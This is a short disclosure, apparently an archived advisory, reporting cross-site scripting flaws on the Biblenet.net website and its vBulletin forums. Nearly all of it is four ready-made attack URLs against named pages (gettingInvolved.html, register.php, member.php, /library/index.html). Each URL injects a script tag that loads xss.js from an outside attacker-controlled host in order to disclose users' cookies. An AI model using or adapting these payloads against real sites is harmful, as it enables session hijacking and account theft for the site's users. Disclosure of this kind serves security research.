Biblenet.net suffers from multiple cross site scripting flaws.
925877b07ccc061b804608c6459f50a53ed5fa8202c768a2a3a6b1a7d7d55efb
Biblenet.net
Homepage:
http://www.biblenet.net
Affected files:
gettinginvolved.html
register.php
member.php
/library/index.html
-----------------------------------------
Biblespace uses vBulletin for most of their site, so most of these vulns are based in the vbulletin site themselves, which others have probably found before.
XSS vuln with cookie disclosure via gettingInvolved.html:
http://www.biblenet.net/gettingInvolved.html?s=">">">">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<"
XSS vuln with cookie disclosure via register.php:
http://www.biblenet.net/forums/register.php?s=\\">">">">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<"&action=signup
XSS vuln with cookie disclosure via member.php when editing profile, this time after we've logged in:
http://www.biblenet.net/forums/member.php?action=editprofile&s=">">">">'>'>'><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<'<'
Same XSS vuln above, this time on /library/index.html:
http://www.biblenet.net/library/index.html?s=questions">">">">">"><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT><"<"<"<"
Screenshots:
http://www.youfucktard.com/xsp/biblespace1.jpg
http://www.youfucktard.com/xsp/biblespace2.jpg
http://www.youfucktard.com/xsp/biblespace3.jpg